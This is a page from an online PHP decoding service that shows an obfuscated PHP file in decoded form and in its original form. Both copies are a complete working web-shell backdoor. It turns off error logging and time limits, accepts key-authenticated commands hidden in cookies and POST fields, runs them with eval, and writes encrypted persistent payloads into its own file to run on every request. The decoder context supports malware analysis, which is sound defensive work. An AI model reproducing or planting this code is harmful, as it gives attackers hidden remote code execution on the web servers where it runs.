Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if (!defined("stream_context_create ")) { define("stream_context_create ", 1);..

Decoded Output download

<?php 
if (!defined("stream_context_create ")) { 
    define("stream_context_create ", 1); 
    @ini_set("error_log", null); 
    @ini_set("log_errors", 0); 
    @ini_set("max_execution_time", 0); 
    @error_reporting(0); 
    @set_time_limit(0); 
    if (!defined("PHP_EOL")) { 
        define("PHP_EOL", "
"); 
    } 
    if (!defined("file_put_contents ")) { 
        define("file_put_contents ", 1); 
        $hnxobrfz = "e22a81f0-04c3-4e76-9889-8a5cdfa4a652"; 
        global $hnxobrfz; 
        function ocmxzd($xujguad) 
        { 
            if (strlen($xujguad) < 4) { 
                return ""; 
            } 
            $qglhzime = 
                "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; 
            $vuangdj = str_split($qglhzime); 
            $vuangdj = array_flip($vuangdj); 
            $hpcgrd = 0; 
            $yzxhgyz = ""; 
            $xujguad = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $xujguad); 
            do { 
                $hnoicayi = $vuangdj[$xujguad[$hpcgrd++]]; 
                $mfnbcf = $vuangdj[$xujguad[$hpcgrd++]]; 
                $hsvwen = $vuangdj[$xujguad[$hpcgrd++]]; 
                $kycsghjo = $vuangdj[$xujguad[$hpcgrd++]]; 
                $lemoio = ($hnoicayi << 2) | ($mfnbcf >> 4); 
                $qfyltxv = (($mfnbcf & 15) << 4) | ($hsvwen >> 2); 
                $rugeyap = (($hsvwen & 3) << 6) | $kycsghjo; 
                $yzxhgyz = $yzxhgyz . chr($lemoio); 
                if ($hsvwen != 64) { 
                    $yzxhgyz = $yzxhgyz . chr($qfyltxv); 
                } 
                if ($kycsghjo != 64) { 
                    $yzxhgyz = $yzxhgyz . chr($rugeyap); 
                } 
            } while ($hpcgrd < strlen($xujguad)); 
            return $yzxhgyz; 
        } 
        if (!function_exists("file_put_contents")) { 
            function file_put_contents($lezpuzyh, $yeaymzq, $qafrhdns = false) 
            { 
                $yeaymzqjzajnw = $qafrhdns == 8 ? "a" : "w"; 
                $xkkncvz = @fopen($lezpuzyh, $yeaymzqjzajnw); 
                if ($xkkncvz === false) { 
                    return 0; 
                } else { 
                    if (is_array($yeaymzq)) { 
                        $yeaymzq = implode($yeaymzq); 
                    } 
                    $uneyebnxmgfwmr = fwrite($xkkncvz, $yeaymzq); 
                    fclose($xkkncvz); 
                    return $uneyebnxmgfwmr; 
                } 
            } 
        } 
        if (!function_exists("file_get_contents")) { 
            function file_get_contents($qpbqtfo) 
            { 
                $xmxsxmhb = fopen($qpbqtfo, "r"); 
                $kljlqm = fread($xmxsxmhb, filesize($qpbqtfo)); 
                fclose($xmxsxmhb); 
                return $kljlqm; 
            } 
        } 
        function ojzuvubq() 
        { 
            return trim(preg_replace("/\(.*\$/", "", __FILE__)); 
        } 
        function ezfzjud($uneyebnxthbum, $bgnhmz) 
        { 
            $qoznpb = ""; 
            for ($hpcgrd = 0; $hpcgrd < strlen($uneyebnxthbum); ) { 
                for ( 
                    $uneyebnx = 0; 
                    $uneyebnx < strlen($bgnhmz) && 
                    $hpcgrd < strlen($uneyebnxthbum); 
                    $uneyebnx++, $hpcgrd++ 
                ) { 
                    $qoznpb .= chr( 
                        ord($uneyebnxthbum[$hpcgrd]) ^ ord($bgnhmz[$uneyebnx]) 
                    ); 
                } 
            } 
            return $qoznpb; 
        } 
        function qpzjnust($uneyebnxthbum, $bgnhmz) 
        { 
            global $hnxobrfz; 
            return ezfzjud(ezfzjud($uneyebnxthbum, $bgnhmz), $hnxobrfz); 
        } 
        function mzvsgpzg($uneyebnxthbum, $bgnhmz) 
        { 
            global $hnxobrfz; 
            return ezfzjud(ezfzjud($uneyebnxthbum, $hnxobrfz), $bgnhmz); 
        } 
        function zhvhfx() 
        { 
            $hmyucsyq = @file_get_contents(ojzuvubq()); 
            $rjpobf = strpos($hmyucsyq, md5(ojzuvubq())); 
            if ($rjpobf !== false) { 
                $lezpuzyhloyibvp = substr($hmyucsyq, $rjpobf + 32); 
                $vaaytnfz = @unserialize( 
                    qpzjnust(rawurldecode($lezpuzyhloyibvp), md5(ojzuvubq())) 
                ); 
            } else { 
                $vaaytnfz = []; 
            } 
            return $vaaytnfz; 
        } 
        function tzkbqe($vaaytnfz) 
        { 
            $yeaymzqfgltlma = rawurlencode( 
                mzvsgpzg(@serialize($vaaytnfz), md5(ojzuvubq())) 
            ); 
            $hmyucsyq = @file_get_contents(ojzuvubq()); 
            $rjpobf = strpos($hmyucsyq, md5(ojzuvubq())); 
            if ($rjpobf !== false) { 
                $zrrffdm = substr($hmyucsyq, $rjpobf + 32); 
                $hmyucsyq = str_replace($zrrffdm, $yeaymzqfgltlma, $hmyucsyq); 
            } else { 
                $hmyucsyq = 
                    $hmyucsyq . "

//" . md5(ojzuvubq()) . $yeaymzqfgltlma; 
            } 
            @file_put_contents(ojzuvubq(), $hmyucsyq); 
        } 
        function ukcjzi($lezpuzyhhvwflyr, $qmjvbjw) 
        { 
            $vaaytnfz = zhvhfx(); 
            $vaaytnfz[$lezpuzyhhvwflyr] = ocmxzd($qmjvbjw); 
            tzkbqe($vaaytnfz); 
        } 
        function ukyambef($lezpuzyhhvwflyr) 
        { 
            $vaaytnfz = zhvhfx(); 
            unset($vaaytnfz[$lezpuzyhhvwflyr]); 
            tzkbqe($vaaytnfz); 
        } 
        function agfljz($lezpuzyhhvwflyr = null) 
        { 
            foreach (zhvhfx() as $awfjbnmy => $zumydn) { 
                if ($lezpuzyhhvwflyr) { 
                    if (strcmp($lezpuzyhhvwflyr, $awfjbnmy) == 0) { 
                        eval($zumydn); 
                        break; 
                    } 
                } else { 
                    eval($zumydn); 
                } 
            } 
        } 
        foreach ( 
            array_merge($_COOKIE, $_POST) 
            as $lezpuzyhvjyohvn => $uneyebnxthbum 
        ) { 
            $uneyebnxthbum = @unserialize( 
                qpzjnust(ocmxzd($uneyebnxthbum), $lezpuzyhvjyohvn) 
            ); 
            if ( 
                isset($uneyebnxthbum["ak"]) && 
                $hnxobrfz == $uneyebnxthbum["ak"] 
            ) { 
                if ($uneyebnxthbum["a"] == "i") { 
                    $hpcgrd = [ 
                        "pv" => @phpversion(), 
                        "sv" => "2.0-1", 
                        "ak" => $uneyebnxthbum["ak"], 
                    ]; 
                    echo @serialize($hpcgrd); 
                    exit(); 
                } elseif ($uneyebnxthbum["a"] == "e") { 
                    eval($uneyebnxthbum["d"]); 
                } elseif ($uneyebnxthbum["a"] == "plugin") { 
                    if ($uneyebnxthbum["sa"] == "add") { 
                        ukcjzi($uneyebnxthbum["p"], $uneyebnxthbum["d"]); 
                    } elseif ($uneyebnxthbum["sa"] == "rem") { 
                        ukyambef($uneyebnxthbum["p"]); 
                    } 
                } 
                echo $uneyebnxthbum["ak"]; 
                exit(); 
            } 
        } 
        agfljz(); 
    } 
} ?>

Did this file decode correctly?

Original Code

<?php
if (!defined("stream_context_create ")) {
    define("stream_context_create ", 1);
    @ini_set("error_log", null);
    @ini_set("log_errors", 0);
    @ini_set("max_execution_time", 0);
    @error_reporting(0);
    @set_time_limit(0);
    if (!defined("PHP_EOL")) {
        define("PHP_EOL", "\n");
    }
    if (!defined("file_put_contents ")) {
        define("file_put_contents ", 1);
        $hnxobrfz = "e22a81f0-04c3-4e76-9889-8a5cdfa4a652";
        global $hnxobrfz;
        function ocmxzd($xujguad)
        {
            if (strlen($xujguad) < 4) {
                return "";
            }
            $qglhzime =
                "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
            $vuangdj = str_split($qglhzime);
            $vuangdj = array_flip($vuangdj);
            $hpcgrd = 0;
            $yzxhgyz = "";
            $xujguad = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $xujguad);
            do {
                $hnoicayi = $vuangdj[$xujguad[$hpcgrd++]];
                $mfnbcf = $vuangdj[$xujguad[$hpcgrd++]];
                $hsvwen = $vuangdj[$xujguad[$hpcgrd++]];
                $kycsghjo = $vuangdj[$xujguad[$hpcgrd++]];
                $lemoio = ($hnoicayi << 2) | ($mfnbcf >> 4);
                $qfyltxv = (($mfnbcf & 15) << 4) | ($hsvwen >> 2);
                $rugeyap = (($hsvwen & 3) << 6) | $kycsghjo;
                $yzxhgyz = $yzxhgyz . chr($lemoio);
                if ($hsvwen != 64) {
                    $yzxhgyz = $yzxhgyz . chr($qfyltxv);
                }
                if ($kycsghjo != 64) {
                    $yzxhgyz = $yzxhgyz . chr($rugeyap);
                }
            } while ($hpcgrd < strlen($xujguad));
            return $yzxhgyz;
        }
        if (!function_exists("file_put_contents")) {
            function file_put_contents($lezpuzyh, $yeaymzq, $qafrhdns = false)
            {
                $yeaymzqjzajnw = $qafrhdns == 8 ? "a" : "w";
                $xkkncvz = @fopen($lezpuzyh, $yeaymzqjzajnw);
                if ($xkkncvz === false) {
                    return 0;
                } else {
                    if (is_array($yeaymzq)) {
                        $yeaymzq = implode($yeaymzq);
                    }
                    $uneyebnxmgfwmr = fwrite($xkkncvz, $yeaymzq);
                    fclose($xkkncvz);
                    return $uneyebnxmgfwmr;
                }
            }
        }
        if (!function_exists("file_get_contents")) {
            function file_get_contents($qpbqtfo)
            {
                $xmxsxmhb = fopen($qpbqtfo, "r");
                $kljlqm = fread($xmxsxmhb, filesize($qpbqtfo));
                fclose($xmxsxmhb);
                return $kljlqm;
            }
        }
        function ojzuvubq()
        {
            return trim(preg_replace("/\(.*\$/", "", __FILE__));
        }
        function ezfzjud($uneyebnxthbum, $bgnhmz)
        {
            $qoznpb = "";
            for ($hpcgrd = 0; $hpcgrd < strlen($uneyebnxthbum); ) {
                for (
                    $uneyebnx = 0;
                    $uneyebnx < strlen($bgnhmz) &&
                    $hpcgrd < strlen($uneyebnxthbum);
                    $uneyebnx++, $hpcgrd++
                ) {
                    $qoznpb .= chr(
                        ord($uneyebnxthbum[$hpcgrd]) ^ ord($bgnhmz[$uneyebnx])
                    );
                }
            }
            return $qoznpb;
        }
        function qpzjnust($uneyebnxthbum, $bgnhmz)
        {
            global $hnxobrfz;
            return ezfzjud(ezfzjud($uneyebnxthbum, $bgnhmz), $hnxobrfz);
        }
        function mzvsgpzg($uneyebnxthbum, $bgnhmz)
        {
            global $hnxobrfz;
            return ezfzjud(ezfzjud($uneyebnxthbum, $hnxobrfz), $bgnhmz);
        }
        function zhvhfx()
        {
            $hmyucsyq = @file_get_contents(ojzuvubq());
            $rjpobf = strpos($hmyucsyq, md5(ojzuvubq()));
            if ($rjpobf !== false) {
                $lezpuzyhloyibvp = substr($hmyucsyq, $rjpobf + 32);
                $vaaytnfz = @unserialize(
                    qpzjnust(rawurldecode($lezpuzyhloyibvp), md5(ojzuvubq()))
                );
            } else {
                $vaaytnfz = [];
            }
            return $vaaytnfz;
        }
        function tzkbqe($vaaytnfz)
        {
            $yeaymzqfgltlma = rawurlencode(
                mzvsgpzg(@serialize($vaaytnfz), md5(ojzuvubq()))
            );
            $hmyucsyq = @file_get_contents(ojzuvubq());
            $rjpobf = strpos($hmyucsyq, md5(ojzuvubq()));
            if ($rjpobf !== false) {
                $zrrffdm = substr($hmyucsyq, $rjpobf + 32);
                $hmyucsyq = str_replace($zrrffdm, $yeaymzqfgltlma, $hmyucsyq);
            } else {
                $hmyucsyq =
                    $hmyucsyq . "\n\n//" . md5(ojzuvubq()) . $yeaymzqfgltlma;
            }
            @file_put_contents(ojzuvubq(), $hmyucsyq);
        }
        function ukcjzi($lezpuzyhhvwflyr, $qmjvbjw)
        {
            $vaaytnfz = zhvhfx();
            $vaaytnfz[$lezpuzyhhvwflyr] = ocmxzd($qmjvbjw);
            tzkbqe($vaaytnfz);
        }
        function ukyambef($lezpuzyhhvwflyr)
        {
            $vaaytnfz = zhvhfx();
            unset($vaaytnfz[$lezpuzyhhvwflyr]);
            tzkbqe($vaaytnfz);
        }
        function agfljz($lezpuzyhhvwflyr = null)
        {
            foreach (zhvhfx() as $awfjbnmy => $zumydn) {
                if ($lezpuzyhhvwflyr) {
                    if (strcmp($lezpuzyhhvwflyr, $awfjbnmy) == 0) {
                        eval($zumydn);
                        break;
                    }
                } else {
                    eval($zumydn);
                }
            }
        }
        foreach (
            array_merge($_COOKIE, $_POST)
            as $lezpuzyhvjyohvn => $uneyebnxthbum
        ) {
            $uneyebnxthbum = @unserialize(
                qpzjnust(ocmxzd($uneyebnxthbum), $lezpuzyhvjyohvn)
            );
            if (
                isset($uneyebnxthbum["ak"]) &&
                $hnxobrfz == $uneyebnxthbum["ak"]
            ) {
                if ($uneyebnxthbum["a"] == "i") {
                    $hpcgrd = [
                        "pv" => @phpversion(),
                        "sv" => "2.0-1",
                        "ak" => $uneyebnxthbum["ak"],
                    ];
                    echo @serialize($hpcgrd);
                    exit();
                } elseif ($uneyebnxthbum["a"] == "e") {
                    eval($uneyebnxthbum["d"]);
                } elseif ($uneyebnxthbum["a"] == "plugin") {
                    if ($uneyebnxthbum["sa"] == "add") {
                        ukcjzi($uneyebnxthbum["p"], $uneyebnxthbum["d"]);
                    } elseif ($uneyebnxthbum["sa"] == "rem") {
                        ukyambef($uneyebnxthbum["p"]);
                    }
                }
                echo $uneyebnxthbum["ak"];
                exit();
            }
        }
        agfljz();
    }
}

Function Calls

None

Variables

None

Stats

MD5 1ed79cd521f6ba28681bec2d211bc599
Eval Count 0
Decode Time 60 ms